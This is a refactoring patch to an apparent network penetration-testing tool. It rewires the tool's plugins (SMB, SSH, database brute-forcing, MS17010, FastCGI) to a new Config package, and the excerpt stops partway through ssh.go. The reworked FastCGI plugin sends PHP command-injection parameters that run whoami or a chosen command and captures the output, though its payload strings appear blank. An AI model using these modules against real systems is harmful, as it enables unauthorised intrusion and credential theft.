From ab14b1586487ec64ee60728e79ed9983d70eb867 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 21:56:08 +0800 Subject: [PATCH] =?UTF-8?q?refactor:=20=E9=87=8D=E6=9E=84=E6=B6=89?= =?UTF-8?q?=E5=8F=8A=E6=96=87=E4=BB=B6=E6=9B=B4=E6=96=B0?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/CVE-2020-0796.go | 5 +- Plugins/NetBIOS.go | 7 +- Plugins/fcgiscan.go | 92 +++++++++++++------------- Plugins/findnet.go | 5 +- Plugins/ftp.go | 5 +- Plugins/localinfo.go | 3 +- Plugins/memcached.go | 3 +- Plugins/mongodb.go | 5 +- Plugins/ms17010-exp.go | 3 +- Plugins/ms17010.go | 5 +- Plugins/mssql.go | 5 +- Plugins/mysql.go | 5 +- Plugins/oracle.go | 5 +- Plugins/postgres.go | 5 +- Plugins/rdp.go | 3 +- Plugins/redis.go | 7 +- Plugins/scanner.go | 135 ++++++++++++++++++++++----------------- Plugins/smb.go | 7 +- Plugins/smb2.go | 15 +++-- Plugins/ssh.go | 5 +- Plugins/webtitle.go | 7 +- Plugins/wmiexec.go | 5 +- WebScan/WebScan.go | 3 +- common/Parse.go | 104 +++++++++++++++++++----------- common/config.go | 45 ------------- common/flag.go | 3 +- main.go | 3 +- 27 files changed, 260 insertions(+), 235 deletions(-) diff --git a/Plugins/CVE-2020-0796.go b/Plugins/CVE-2020-0796.go index 385c86d..2297d1b 100644 --- a/Plugins/CVE-2020-0796.go +++ b/Plugins/CVE-2020-0796.go @@ -3,6 +3,7 @@ package Plugins import ( "bytes" "fmt" + "github.com/shadow1ng/fscan/Config" "time" "github.com/shadow1ng/fscan/common" @@ -94,7 +95,7 @@ const ( "\x00\x00\x00\x00" ) -func SmbGhost(info *common.HostInfo) error { +func SmbGhost(info *Config.HostInfo) error { if common.IsBrute { return nil } @@ -102,7 +103,7 @@ func SmbGhost(info *common.HostInfo) error { return err } -func SmbGhostScan(info *common.HostInfo) error { +func SmbGhostScan(info *Config.HostInfo) error { ip, port, timeout := info.Host, 445, time.Duration(common.Timeout)*time.Second addr := fmt.Sprintf("%s:%v", info.Host, port) conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout) diff --git a/Plugins/NetBIOS.go b/Plugins/NetBIOS.go index d3d0c84..b025f5c 100644 --- a/Plugins/NetBIOS.go +++ b/Plugins/NetBIOS.go @@ -4,6 +4,7 @@ import ( "bytes" "errors" "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "gopkg.in/yaml.v3" "net" @@ -14,7 +15,7 @@ import ( var errNetBIOS = errors.New("netbios error") -func NetBIOS(info *common.HostInfo) error { +func NetBIOS(info *Config.HostInfo) error { netbios, _ := NetBIOS1(info) output := netbios.String() if len(output) > 0 { @@ -25,7 +26,7 @@ func NetBIOS(info *common.HostInfo) error { return errNetBIOS } -func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) { +func NetBIOS1(info *Config.HostInfo) (netbios NetBiosInfo, err error) { netbios, err = GetNbnsname(info) var payload0 []byte if netbios.ServerService != "" || netbios.WorkstationService != "" { @@ -84,7 +85,7 @@ func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) { return } -func GetNbnsname(info *common.HostInfo) (netbios NetBiosInfo, err error) { +func GetNbnsname(info *Config.HostInfo) (netbios NetBiosInfo, err error) { senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1} //senddata1 := []byte("ff\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00 CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00!\x00\x01") realhost := fmt.Sprintf("%s:137", info.Host) diff --git a/Plugins/fcgiscan.go b/Plugins/fcgiscan.go index 11c9841..a14776c 100644 --- a/Plugins/fcgiscan.go +++ b/Plugins/fcgiscan.go @@ -6,6 +6,7 @@ import ( "encoding/binary" "errors" "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "io" "strconv" @@ -18,34 +19,43 @@ import ( //https://xz.aliyun.com/t/9544 //https://github.com/wofeiwo/webcgi-exploits -func FcgiScan(info *common.HostInfo) { +// FcgiScan 执行FastCGI服务器漏洞扫描 +func FcgiScan(info *Config.HostInfo) error { + // 如果设置了暴力破解模式则跳过 if common.IsBrute { - return + return nil } + + // 设置目标URL路径 url := "/etc/issue" if common.Path != "" { url = common.Path } addr := fmt.Sprintf("%v:%v", info.Host, info.Ports) + + // 构造PHP命令注入代码 var reqParams string - var cutLine = "-----ASDGTasdkk361363s-----\n" + var cutLine = "-----ASDGTasdkk361363s-----\n" // 用于分割命令输出的标记 + switch { case common.Command == "read": - reqParams = "" + reqParams = "" // 读取模式 case common.Command != "": - reqParams = "" + reqParams = fmt.Sprintf("", common.Command, cutLine) // 自定义命令 default: - reqParams = "" + reqParams = fmt.Sprintf("", cutLine) // 默认执行whoami } - env := make(map[string]string) - - env["SCRIPT_FILENAME"] = url - env["DOCUMENT_ROOT"] = "/" - env["SERVER_SOFTWARE"] = "go / fcgiclient " - env["REMOTE_ADDR"] = "127.0.0.1" - env["SERVER_PROTOCOL"] = "HTTP/1.1" + // 设置FastCGI环境变量 + env := map[string]string{ + "SCRIPT_FILENAME": url, + "DOCUMENT_ROOT": "/", + "SERVER_SOFTWARE": "go / fcgiclient ", + "REMOTE_ADDR": "127.0.0.1", + "SERVER_PROTOCOL": "HTTP/1.1", + } + // 根据请求类型设置对应的环境变量 if len(reqParams) != 0 { env["CONTENT_LENGTH"] = strconv.Itoa(len(reqParams)) env["REQUEST_METHOD"] = "POST" @@ -54,6 +64,7 @@ func FcgiScan(info *common.HostInfo) { env["REQUEST_METHOD"] = "GET" } + // 建立FastCGI连接 fcgi, err := New(addr, common.Timeout) defer func() { if fcgi.rwc != nil { @@ -61,54 +72,47 @@ func FcgiScan(info *common.HostInfo) { } }() if err != nil { - errlog := fmt.Sprintf("[-] fcgi %v:%v %v", info.Host, info.Ports, err) - common.LogError(errlog) - return + fmt.Printf("[!] FastCGI连接失败 %v:%v - %v\n", info.Host, info.Ports, err) + return err } + // 发送FastCGI请求 stdout, stderr, err := fcgi.Request(env, reqParams) if err != nil { - errlog := fmt.Sprintf("[-] fcgi %v:%v %v", info.Host, info.Ports, err) - common.LogError(errlog) - return + fmt.Printf("[!] FastCGI请求失败 %v:%v - %v\n", info.Host, info.Ports, err) + return err } - //1 - //Content-type: text/html - // - //uid=1001(www) gid=1001(www) groups=1001(www) - - //2 - //Status: 404 Not Found - //Content-type: text/html - // - //File not found. - //Primary script unknown - - //3 - //Status: 403 Forbidden - //Content-type: text/html - // - //Access denied. - //Access to the script '/etc/passwd' has been denied (see security.limit_extensions) + // 处理响应结果 + output := string(stdout) var result string - var output = string(stdout) - if strings.Contains(output, cutLine) { //命令成功回显 + + if strings.Contains(output, cutLine) { + // 命令执行成功,提取输出结果 output = strings.SplitN(output, cutLine, 2)[0] if len(stderr) > 0 { - result = fmt.Sprintf("[+] FCGI %v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr)) + result = fmt.Sprintf("[+] FastCGI漏洞确认 %v:%v\n命令输出:\n%v\n错误信息:\n%v\n建议尝试其他路径,例如: -path /www/wwwroot/index.php", + info.Host, info.Ports, output, string(stderr)) } else { - result = fmt.Sprintf("[+] FCGI %v:%v \n%v", info.Host, info.Ports, output) + result = fmt.Sprintf("[+] FastCGI漏洞确认 %v:%v\n命令输出:\n%v", + info.Host, info.Ports, output) } common.LogSuccess(result) - } else if strings.Contains(output, "File not found") || strings.Contains(output, "Content-type") || strings.Contains(output, "Status") { + } else if strings.Contains(output, "File not found") || + strings.Contains(output, "Content-type") || + strings.Contains(output, "Status") { + // 目标存在FastCGI服务但可能路径错误 if len(stderr) > 0 { - result = fmt.Sprintf("[+] FCGI %v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr)) + result = fmt.Sprintf("[*] FastCGI服务确认 %v:%v\n响应:\n%v\n错误信息:\n%v\n建议尝试其他路径,例如: -path /www/wwwroot/index.php", + info.Host, info.Ports, output, string(stderr)) } else { - result = fmt.Sprintf("[+] FCGI %v:%v \n%v", info.Host, info.Ports, output) + result = fmt.Sprintf("[*] FastCGI服务确认 %v:%v\n响应:\n%v", + info.Host, info.Ports, output) } common.LogSuccess(result) } + + return nil } // for padding so we don't have to allocate all the time diff --git a/Plugins/findnet.go b/Plugins/findnet.go index 6787a95..2a8355c 100644 --- a/Plugins/findnet.go +++ b/Plugins/findnet.go @@ -4,6 +4,7 @@ import ( "bytes" "encoding/hex" "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "strconv" "strings" @@ -16,12 +17,12 @@ var ( bufferV3, _ = hex.DecodeString("0900ffff0000") ) -func Findnet(info *common.HostInfo) error { +func Findnet(info *Config.HostInfo) error { err := FindnetScan(info) return err } -func FindnetScan(info *common.HostInfo) error { +func FindnetScan(info *Config.HostInfo) error { realhost := fmt.Sprintf("%s:%v", info.Host, 135) conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) if err != nil { diff --git a/Plugins/ftp.go b/Plugins/ftp.go index 58d0378..19d925c 100644 --- a/Plugins/ftp.go +++ b/Plugins/ftp.go @@ -3,12 +3,13 @@ package Plugins import ( "fmt" "github.com/jlaffaye/ftp" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "strings" "time" ) -func FtpScan(info *common.HostInfo) (tmperr error) { +func FtpScan(info *Config.HostInfo) (tmperr error) { if common.IsBrute { return } @@ -47,7 +48,7 @@ func FtpScan(info *common.HostInfo) (tmperr error) { return tmperr } -func FtpConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { +func FtpConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) { flag = false Host, Port, Username, Password := info.Host, info.Ports, user, pass conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(common.Timeout)*time.Second) diff --git a/Plugins/localinfo.go b/Plugins/localinfo.go index c7ede11..72835f7 100644 --- a/Plugins/localinfo.go +++ b/Plugins/localinfo.go @@ -2,6 +2,7 @@ package Plugins import ( "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "os" "path/filepath" @@ -88,7 +89,7 @@ var ( } ) -func LocalInfoScan(info *common.HostInfo) (err error) { +func LocalInfoScan(info *Config.HostInfo) (err error) { home, err := os.UserHomeDir() if err != nil { errlog := fmt.Sprintf("[-] Get UserHomeDir error: %v", err) diff --git a/Plugins/memcached.go b/Plugins/memcached.go index 361edc1..0ad4e7d 100644 --- a/Plugins/memcached.go +++ b/Plugins/memcached.go @@ -2,12 +2,13 @@ package Plugins import ( "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "strings" "time" ) -func MemcachedScan(info *common.HostInfo) (err error) { +func MemcachedScan(info *Config.HostInfo) (err error) { realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) client, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) defer func() { diff --git a/Plugins/mongodb.go b/Plugins/mongodb.go index 947137a..36805c2 100644 --- a/Plugins/mongodb.go +++ b/Plugins/mongodb.go @@ -2,12 +2,13 @@ package Plugins import ( "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "strings" "time" ) -func MongodbScan(info *common.HostInfo) error { +func MongodbScan(info *Config.HostInfo) error { if common.IsBrute { return nil } @@ -19,7 +20,7 @@ func MongodbScan(info *common.HostInfo) error { return err } -func MongodbUnauth(info *common.HostInfo) (flag bool, err error) { +func MongodbUnauth(info *Config.HostInfo) (flag bool, err error) { flag = false // op_msg packet1 := []byte{ diff --git a/Plugins/ms17010-exp.go b/Plugins/ms17010-exp.go index f761517..dbcdd7b 100644 --- a/Plugins/ms17010-exp.go +++ b/Plugins/ms17010-exp.go @@ -5,6 +5,7 @@ import ( "encoding/binary" "encoding/hex" "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "io" "io/ioutil" @@ -13,7 +14,7 @@ import ( "time" ) -func MS17010EXP(info *common.HostInfo) { +func MS17010EXP(info *Config.HostInfo) { address := info.Host + ":445" var sc string switch common.SC { diff --git a/Plugins/ms17010.go b/Plugins/ms17010.go index feb53e7..0f30ead 100644 --- a/Plugins/ms17010.go +++ b/Plugins/ms17010.go @@ -5,6 +5,7 @@ import ( "encoding/hex" "errors" "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "strings" "time" @@ -23,7 +24,7 @@ var ( trans2SessionSetupRequest, _ = hex.DecodeString(AesDecrypt(trans2SessionSetupRequest_enc, key)) ) -func MS17010(info *common.HostInfo) error { +func MS17010(info *Config.HostInfo) error { if common.IsBrute { return nil } @@ -35,7 +36,7 @@ func MS17010(info *common.HostInfo) error { return err } -func MS17010Scan(info *common.HostInfo) error { +func MS17010Scan(info *Config.HostInfo) error { ip := info.Host // connecting to a host in LAN if reachable should be very quick conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(common.Timeout)*time.Second) diff --git a/Plugins/mssql.go b/Plugins/mssql.go index 30b1429..2048709 100644 --- a/Plugins/mssql.go +++ b/Plugins/mssql.go @@ -4,12 +4,13 @@ import ( "database/sql" "fmt" _ "github.com/denisenkom/go-mssqldb" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "strings" "time" ) -func MssqlScan(info *common.HostInfo) (tmperr error) { +func MssqlScan(info *Config.HostInfo) (tmperr error) { if common.IsBrute { return } @@ -36,7 +37,7 @@ func MssqlScan(info *common.HostInfo) (tmperr error) { return tmperr } -func MssqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { +func MssqlConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) { flag = false Host, Port, Username, Password := info.Host, info.Ports, user, pass dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v", Host, Username, Password, Port, time.Duration(common.Timeout)*time.Second) diff --git a/Plugins/mysql.go b/Plugins/mysql.go index db3e440..23e578f 100644 --- a/Plugins/mysql.go +++ b/Plugins/mysql.go @@ -4,12 +4,13 @@ import ( "database/sql" "fmt" _ "github.com/go-sql-driver/mysql" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "strings" "time" ) -func MysqlScan(info *common.HostInfo) (tmperr error) { +func MysqlScan(info *Config.HostInfo) (tmperr error) { if common.IsBrute { return } @@ -36,7 +37,7 @@ func MysqlScan(info *common.HostInfo) (tmperr error) { return tmperr } -func MysqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { +func MysqlConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) { flag = false Host, Port, Username, Password := info.Host, info.Ports, user, pass dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", Username, Password, Host, Port, time.Duration(common.Timeout)*time.Second) diff --git a/Plugins/oracle.go b/Plugins/oracle.go index be9ad2d..37f867c 100644 --- a/Plugins/oracle.go +++ b/Plugins/oracle.go @@ -3,13 +3,14 @@ package Plugins import ( "database/sql" "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" _ "github.com/sijms/go-ora/v2" "strings" "time" ) -func OracleScan(info *common.HostInfo) (tmperr error) { +func OracleScan(info *Config.HostInfo) (tmperr error) { if common.IsBrute { return } @@ -36,7 +37,7 @@ func OracleScan(info *common.HostInfo) (tmperr error) { return tmperr } -func OracleConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { +func OracleConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) { flag = false Host, Port, Username, Password := info.Host, info.Ports, user, pass dataSourceName := fmt.Sprintf("oracle://%s:%s@%s:%s/orcl", Username, Password, Host, Port) diff --git a/Plugins/postgres.go b/Plugins/postgres.go index 36a97ed..68681d1 100644 --- a/Plugins/postgres.go +++ b/Plugins/postgres.go @@ -4,12 +4,13 @@ import ( "database/sql" "fmt" _ "github.com/lib/pq" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "strings" "time" ) -func PostgresScan(info *common.HostInfo) (tmperr error) { +func PostgresScan(info *Config.HostInfo) (tmperr error) { if common.IsBrute { return } @@ -36,7 +37,7 @@ func PostgresScan(info *common.HostInfo) (tmperr error) { return tmperr } -func PostgresConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { +func PostgresConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) { flag = false Host, Port, Username, Password := info.Host, info.Ports, user, pass dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host, Port, "postgres", "disable") diff --git a/Plugins/rdp.go b/Plugins/rdp.go index fe08c39..4bae7a6 100644 --- a/Plugins/rdp.go +++ b/Plugins/rdp.go @@ -3,6 +3,7 @@ package Plugins import ( "errors" "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "github.com/tomatome/grdp/core" "github.com/tomatome/grdp/glog" @@ -26,7 +27,7 @@ type Brutelist struct { pass string } -func RdpScan(info *common.HostInfo) (tmperr error) { +func RdpScan(info *Config.HostInfo) (tmperr error) { if common.IsBrute { return } diff --git a/Plugins/redis.go b/Plugins/redis.go index 88ad73d..39e6a6b 100644 --- a/Plugins/redis.go +++ b/Plugins/redis.go @@ -3,6 +3,7 @@ package Plugins import ( "bufio" "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "io" "net" @@ -16,7 +17,7 @@ var ( dir string ) -func RedisScan(info *common.HostInfo) (tmperr error) { +func RedisScan(info *Config.HostInfo) (tmperr error) { starttime := time.Now().Unix() flag, err := RedisUnauth(info) if flag == true && err == nil { @@ -45,7 +46,7 @@ func RedisScan(info *common.HostInfo) (tmperr error) { return tmperr } -func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) { +func RedisConn(info *Config.HostInfo, pass string) (flag bool, err error) { flag = false realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) @@ -81,7 +82,7 @@ func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) { return flag, err } -func RedisUnauth(info *common.HostInfo) (flag bool, err error) { +func RedisUnauth(info *Config.HostInfo) (flag bool, err error) { flag = false realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) diff --git a/Plugins/scanner.go b/Plugins/scanner.go index 50da4a2..4c7cff6 100644 --- a/Plugins/scanner.go +++ b/Plugins/scanner.go @@ -2,22 +2,22 @@ package Plugins import ( "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/WebScan/lib" "github.com/shadow1ng/fscan/common" - "reflect" "strconv" "strings" "sync" ) -func Scan(info common.HostInfo) { +func Scan(info Config.HostInfo) { fmt.Println("[*] 开始信息扫描...") // 本地信息收集模块 if common.Scantype == "localinfo" { ch := make(chan struct{}, common.Threads) wg := sync.WaitGroup{} - AddScan("1000006", info, &ch, &wg) + AddScan("localinfo", info, &ch, &wg) wg.Wait() common.LogWG.Wait() close(common.Results) @@ -36,9 +36,7 @@ func Scan(info common.HostInfo) { lib.Inithttp() ch := make(chan struct{}, common.Threads) wg := sync.WaitGroup{} - web := strconv.Itoa(common.PORTList["web"]) - ms17010 := strconv.Itoa(common.PORTList["ms17010"]) - var AlivePorts, severports []string + var AlivePorts []string if len(Hosts) > 0 || len(common.HostPort) > 0 { // ICMP存活性检测 @@ -52,22 +50,7 @@ func Scan(info common.HostInfo) { } // 端口扫描策略 - switch common.Scantype { - case "webonly", "webpoc": - AlivePorts = NoPortScan(Hosts, common.Ports) - case "hostname": - common.Ports = "139" - AlivePorts = NoPortScan(Hosts, common.Ports) - default: - if len(Hosts) > 0 { - AlivePorts = PortScan(Hosts, common.Ports, common.Timeout) - fmt.Printf("[+] 存活端口数量: %d\n", len(AlivePorts)) - if common.Scantype == "portscan" { - common.LogWG.Wait() - return - } - } - } + AlivePorts = executeScanStrategy(Hosts, common.Scantype) // 处理自定义端口 if len(common.HostPort) > 0 { @@ -77,12 +60,7 @@ func Scan(info common.HostInfo) { fmt.Printf("[+] 总计存活端口: %d\n", len(AlivePorts)) } - // 构建服务端口列表 - for _, port := range common.PORTList { - severports = append(severports, strconv.Itoa(port)) - } - - // 开始漏洞扫描 + // 执行扫描任务 fmt.Println("[*] 开始漏洞扫描...") for _, targetIP := range AlivePorts { hostParts := strings.Split(targetIP, ":") @@ -92,34 +70,14 @@ func Scan(info common.HostInfo) { } info.Host, info.Ports = hostParts[0], hostParts[1] - if common.Scantype == "all" || common.Scantype == "main" { - switch { - case info.Ports == "135": - AddScan(info.Ports, info, &ch, &wg) - if common.IsWmi { - AddScan("1000005", info, &ch, &wg) - } - case info.Ports == "445": - AddScan(ms17010, info, &ch, &wg) - case info.Ports == "9000": - AddScan(web, info, &ch, &wg) - AddScan(info.Ports, info, &ch, &wg) - case IsContain(severports, info.Ports): - AddScan(info.Ports, info, &ch, &wg) - default: - AddScan(web, info, &ch, &wg) - } - } else { - scantype := strconv.Itoa(common.PORTList[common.Scantype]) - AddScan(scantype, info, &ch, &wg) - } + executeScanTasks(info, common.Scantype, &ch, &wg) } } // URL扫描 for _, url := range common.Urls { info.Url = url - AddScan(web, info, &ch, &wg) + AddScan("web", info, &ch, &wg) } // 等待所有任务完成 @@ -129,11 +87,65 @@ func Scan(info common.HostInfo) { fmt.Printf("[✓] 扫描已完成: %v/%v\n", common.End, common.Num) } +// executeScanStrategy 执行端口扫描策略 +func executeScanStrategy(Hosts []string, scanType string) []string { + switch scanType { + case "webonly", "webpoc": + return NoPortScan(Hosts, common.Ports) + case "hostname": + common.Ports = "139" + return NoPortScan(Hosts, common.Ports) + default: + if len(Hosts) > 0 { + ports := PortScan(Hosts, common.Ports, common.Timeout) + fmt.Printf("[+] 存活端口数量: %d\n", len(ports)) + if scanType == "portscan" { + common.LogWG.Wait() + return nil + } + return ports + } + } + return nil +} + +// executeScanTasks 执行扫描任务 +func executeScanTasks(info Config.HostInfo, scanType string, ch *chan struct{}, wg *sync.WaitGroup) { + if scanType == "all" || scanType == "main" { + // 根据端口选择扫描插件 + switch info.Ports { + case "135": + AddScan("findnet", info, ch, wg) + if common.IsWmi { + AddScan("wmiexec", info, ch, wg) + } + case "445": + AddScan("ms17010", info, ch, wg) + case "9000": + AddScan("web", info, ch, wg) + AddScan("fcgi", info, ch, wg) + default: + // 查找对应端口的插件 + for name, plugin := range Config.PluginManager { + if strconv.Itoa(plugin.Port) == info.Ports { + AddScan(name, info, ch, wg) + return + } + } + // 默认执行Web扫描 + AddScan("web", info, ch, wg) + } + } else { + // 直接使用指定的扫描类型 + AddScan(scanType, info, ch, wg) + } +} + // Mutex用于保护共享资源的并发访问 var Mutex = &sync.Mutex{} // AddScan 添加扫描任务到并发队列 -func AddScan(scantype string, info common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { +func AddScan(scantype string, info Config.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { // 获取信号量,控制并发数 *ch <- struct{}{} // 添加等待组计数 @@ -161,20 +173,25 @@ func AddScan(scantype string, info common.HostInfo, ch *chan struct{}, wg *sync. }() } -// ScanFunc 通过反射调用对应的扫描插件 -func ScanFunc(name *string, info *common.HostInfo) { - // 异常恢复处理 +// ScanFunc 执行扫描插件 +func ScanFunc(name *string, info *Config.HostInfo) { defer func() { if err := recover(); err != nil { fmt.Printf("[!] 扫描错误 %v:%v - %v\n", info.Host, info.Ports, err) } }() - // 通过反射获取插件函数 - f := reflect.ValueOf(PluginList[*name]) - // 构造参数并调用插件函数 - in := []reflect.Value{reflect.ValueOf(info)} - f.Call(in) + // 检查插件是否存在 + plugin, exists := Config.PluginManager[*name] + if !exists { + fmt.Printf("[*] 扫描类型 %v 无对应插件,已跳过\n", *name) + return + } + + // 直接调用扫描函数 + if err := plugin.ScanFunc(info); err != nil { + fmt.Printf("[!] 扫描错误 %v:%v - %v\n", info.Host, info.Ports, err) + } } // IsContain 检查切片中是否包含指定元素 diff --git a/Plugins/smb.go b/Plugins/smb.go index 14dcc60..138aef2 100644 --- a/Plugins/smb.go +++ b/Plugins/smb.go @@ -3,6 +3,7 @@ package Plugins import ( "errors" "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "github.com/stacktitan/smb/smb" "strings" @@ -10,7 +11,7 @@ import ( ) // SmbScan 执行SMB服务的认证扫描 -func SmbScan(info *common.HostInfo) (tmperr error) { +func SmbScan(info *Config.HostInfo) (tmperr error) { // 如果未启用暴力破解则直接返回 if common.IsBrute { return nil @@ -64,7 +65,7 @@ func SmbScan(info *common.HostInfo) (tmperr error) { } // SmblConn 尝试建立SMB连接并进行认证 -func SmblConn(info *common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) { +func SmblConn(info *Config.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) { flag = false // 配置SMB连接选项 @@ -92,7 +93,7 @@ func SmblConn(info *common.HostInfo, user string, pass string, signal chan struc } // doWithTimeOut 执行带超时的SMB连接认证 -func doWithTimeOut(info *common.HostInfo, user string, pass string) (flag bool, err error) { +func doWithTimeOut(info *Config.HostInfo, user string, pass string) (flag bool, err error) { signal := make(chan struct{}) // 在goroutine中执行SMB连接 diff --git a/Plugins/smb2.go b/Plugins/smb2.go index ae2c2e8..eadf67d 100644 --- a/Plugins/smb2.go +++ b/Plugins/smb2.go @@ -2,6 +2,7 @@ package Plugins import ( "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "net" "os" @@ -12,7 +13,7 @@ import ( ) // SmbScan2 执行SMB2服务的认证扫描,支持密码和哈希两种认证方式 -func SmbScan2(info *common.HostInfo) (tmperr error) { +func SmbScan2(info *Config.HostInfo) (tmperr error) { // 如果未启用暴力破解则直接返回 if common.IsBrute { return nil @@ -31,7 +32,7 @@ func SmbScan2(info *common.HostInfo) (tmperr error) { } // smbHashScan 使用哈希进行认证扫描 -func smbHashScan(info *common.HostInfo, hasprint bool, startTime int64) error { +func smbHashScan(info *Config.HostInfo, hasprint bool, startTime int64) error { for _, user := range common.Userdict["smb"] { for _, hash := range common.HashBytes { success, err, printed := Smb2Con(info, user, "", hash, hasprint) @@ -59,7 +60,7 @@ func smbHashScan(info *common.HostInfo, hasprint bool, startTime int64) error { } // smbPasswordScan 使用密码进行认证扫描 -func smbPasswordScan(info *common.HostInfo, hasprint bool, startTime int64) error { +func smbPasswordScan(info *Config.HostInfo, hasprint bool, startTime int64) error { for _, user := range common.Userdict["smb"] { for _, pass := range common.Passwords { pass = strings.ReplaceAll(pass, "{user}", user) @@ -88,7 +89,7 @@ func smbPasswordScan(info *common.HostInfo, hasprint bool, startTime int64) erro } // logSuccessfulAuth 记录成功的认证 -func logSuccessfulAuth(info *common.HostInfo, user, pass string, hash []byte) { +func logSuccessfulAuth(info *Config.HostInfo, user, pass string, hash []byte) { var result string if common.Domain != "" { result = fmt.Sprintf("[✓] SMB2认证成功 %v:%v Domain:%v\\%v ", @@ -107,7 +108,7 @@ func logSuccessfulAuth(info *common.HostInfo, user, pass string, hash []byte) { } // logFailedAuth 记录失败的认证 -func logFailedAuth(info *common.HostInfo, user, pass string, hash []byte, err error) { +func logFailedAuth(info *Config.HostInfo, user, pass string, hash []byte, err error) { var errlog string if len(hash) > 0 { errlog = fmt.Sprintf("[x] SMB2认证失败 %v:%v User:%v Hash:%v Err:%v", @@ -134,7 +135,7 @@ func shouldStopScan(err error, startTime int64, totalAttempts int) bool { } // Smb2Con 尝试SMB2连接并进行认证,检查共享访问权限 -func Smb2Con(info *common.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) { +func Smb2Con(info *Config.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) { // 建立TCP连接 conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:445", info.Host), time.Duration(common.Timeout)*time.Second) @@ -197,7 +198,7 @@ func Smb2Con(info *common.HostInfo, user string, pass string, hash []byte, haspr } // logShareInfo 记录SMB共享信息 -func logShareInfo(info *common.HostInfo, user string, pass string, hash []byte, shares []string) { +func logShareInfo(info *Config.HostInfo, user string, pass string, hash []byte, shares []string) { var result string // 构建基础信息 diff --git a/Plugins/ssh.go b/Plugins/ssh.go index c46139d..d1a5d09 100644 --- a/Plugins/ssh.go +++ b/Plugins/ssh.go @@ -2,6 +2,7 @@ package Plugins import ( "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "golang.org/x/crypto/ssh" "io/ioutil" @@ -11,7 +12,7 @@ import ( ) // SshScan 执行SSH服务的认证扫描 -func SshScan(info *common.HostInfo) (tmperr error) { +func SshScan(info *Config.HostInfo) (tmperr error) { if common.IsBrute { return } @@ -56,7 +57,7 @@ func SshScan(info *common.HostInfo) (tmperr error) { } // SshConn 尝试建立SSH连接并进行认证 -func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { 